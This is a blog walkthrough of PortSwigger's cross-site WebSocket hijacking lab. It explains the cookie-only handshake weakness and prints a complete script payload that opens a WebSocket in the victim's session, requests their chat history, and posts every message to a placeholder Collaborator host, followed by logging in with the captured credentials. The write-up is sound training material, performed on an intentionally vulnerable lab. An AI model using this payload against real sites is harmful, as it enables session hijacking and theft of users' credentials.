Post

PortSwigger Walkthrough - Cross-site WebSocket hijacking

Walkthrough of PortSwigger's 'Cross-site WebSocket hijacking' lab.

PortSwigger Walkthrough - Cross-site WebSocket hijacking

To browse all labs in this series, visit the full PortSwigger series.

All testing shown in this series is performed against PortSwigger Academy’s intentionally vulnerable labs.
Do not apply these techniques to systems you do not own or have explicit written permission to test.

What’s this?

Cross-site WebSocket hijacking is basically CSRF applied to a WebSocket handshake. If the handshake relies purely on cookies for session handling, with no CSRF token or other unpredictable value, an attacker’s page can open a cross-site WebSocket connection to the target and it gets handled in the victim’s authenticated session. Unlike regular CSRF though, this gives the attacker two-way interaction: they can send messages as the victim and read whatever comes back.

Objective

The live chat again. Use the exploit server to host a payload that hijacks the WebSocket connection cross-site, exfiltrates the victim’s chat history, and use whatever’s in there to log into their account.

PortSwigger’s lab link

Walkthrough

Full disclosure on this one: I got stuck and leaned heavily on PortSwigger’s own walkthrough to get through it, so credit where it’s due. Still going to explain it properly.

Open the live chat, send a message, and reload the page. Looking at the WebSockets history, there’s a READY command sent right after reconnecting that pulls back the previous chat history from the server. Check the handshake request itself in the HTTP history tab: no CSRF token anywhere, session handling is cookie-only. That’s the precondition met.

Head to the exploit server and drop this payload in the body (swap in your own WebSocket URL and Collaborator URL):

1
2
3
4
5
6
7
8
9
<script>
    var ws = new WebSocket('wss://your-websocket-url/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

The idea: open the WebSocket, immediately send READY to trigger the chat history dump, then forward every incoming message to our Collaborator server via a POST.

View the exploit yourself first and check the Collaborator interactions, the chat history shows up there, confirming the hijack works. Then deliver the exploit to the victim, poll for interactions again, and go through the captured messages looking for anything resembling credentials. Sure enough, the victim’s chat history contains their login details. Use them to log in.

Credentials captured through the hijacked WebSocket

Lab solved.

Lab solved confirmation

The takeaway here is bigger than “add a CSRF token to your forms”: it applies to the handshake request too, since that’s really just a regular HTTP request under the hood before it upgrades to a persistent connection.



Wanna talk? Contact me here!

This post is licensed under CC BY 4.0 by the author.